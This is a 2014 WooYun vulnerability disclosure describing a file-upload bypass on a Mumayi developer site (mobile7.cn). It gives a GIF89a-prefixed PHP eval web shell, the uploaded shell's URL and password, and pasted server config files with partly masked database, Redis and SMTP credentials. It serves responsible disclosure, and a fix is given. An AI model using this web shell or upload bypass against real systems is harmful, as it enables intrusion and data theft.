当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084662

漏洞标题:木蚂蚁某站getshell影响多个业务站点

相关厂商:mumayi.com

漏洞作者: 鸟云厂商

提交时间:2014-11-25 18:23

修复时间:2015-01-09 18:24

公开时间:2015-01-09 18:24

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-25: 细节已通知厂商并且等待厂商处理中
2014-11-25: 厂商已经确认,细节仅向厂商公开
2014-12-05: 细节向核心白帽子及相关领域专家公开
2014-12-15: 细节向普通白帽子公开
2014-12-25: 细节向实习白帽子公开
2015-01-09: 细节向公众公开

简要描述:

木蚂蚁某站getshell影响多个业务站点

详细说明:

#1 在木蚂蚁旗下的第七传媒http://mobile7.cn注册了开发者账号,在开发者信息---财务信息---上传证件那里
抓包,修改后缀为php。
但是服务端对文件头做了检测。
所以改PHP文件代码为:

GIF89a
<?php @eval($_POST['pass']);?>


通过了服务端的验证
前端直接返回了路径

CC3A06EC-D826-4A02-A9FC-010A9C7B9DD1.png


菜刀连接http://mobile7.cn/Public/upload/cache/3eab38bede51f782b04b7e31aa687bfc.php
密码:pass
影响站点:

木蚂蚁wordpress
passport.mumayi.com
wan.mumayi.com
open.mumayi.com
android77.com
mobile7.cn
119.cc


证明:

屏幕快照 2014-11-25 下午3.33.30.png


屏幕快照 2014-11-25 下午3.33.54.png


泄露了2012-2014年的开发者身份证照片、营业执照。数据量没做估计

屏幕快照 2014-11-25 下午3.34.50.png


泄露数据库连接信息
/var/html/corp_open/www.mobile7.cn/Conf/config.php

<?php
//上线配置
return array(
'URL_MODEL'=>3, // 如果你的环境不支持PATHINFO 请设置为3
'DB_TYPE'=>'mysql',
'DB_HOST'=>'17*******09',
'DB_NAME'=>'m*******ayi',
'DB_USER'=>'m*******yi',
'DB_PWD'=>',A*******Z',
'DB_PORT'=>'3306',
'DB_PREFIX'=>'*******_',
'SESSION_PREFIX'=>'think',
'SESSION_EXPIRE' => 3600*7, // 默认Session有效期
'URL_CASE_INSENSITIVE' =>true,
'ACTIVITY_REGIST' => FALSE, //活动状态
'TMP_AUTH_UPLOAD_DIR' => dirname(dirname(__FILE__))
);


/var/html/corp_open/open_mumayi/market/redis/redis.class.php

<?php
$RedisConfig = @require_once("/mnt/html/redis_config/config.php");
class EggRedis{
public $host = '1*******4';
public $port = 6***9;
public $password = "m*********Ta";


/var/html/corp_open/wan_mumayi/include/Email.php

////////////////////////////////////////////////
function __construct(){
$this->CharSet = 'utf-8';
$this->IsSMTP();
$this->SMTPAuth = true; // enable SMTP authentication
//$this->SMTPSecure = "ssl"; //gmail sets the prefix to the servier
$this->Host = "smtp.163.com"; // sets GMAIL as the SMTP server
$this->Port = 25; //gmail set the SMTP port for the GMAIL server
$this->Username = "c*******el@163.com"; // smtp 用户
$this->Password = 'w*******4'; // smtp密码
$this->AddReplyTo("c*******l@163.com","木蚂蚁网络");//邮件回复给谁
$this->From = "cui*******el@163.com"; //发信人邮箱
$this->FromName = "木蚂蚁网络";//发信人姓名


define('DBHOST', '1*******2');
define('DBUSER', 'w*******yi');
define('DBPASSWD', 'H*******f');
define('DBNAME', 'w*******yi');
define('DBPREFIX', 'w*******_');

漏洞证明:

修复方案:

上传文件的目录设置成不解析PHP

版权声明:转载请注明来源 鸟云厂商@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-11-25 18:28

厂商回复:

技术蚂蚁正在修复,非常感谢

最新状态:

2014-11-25:已经修复完毕,感谢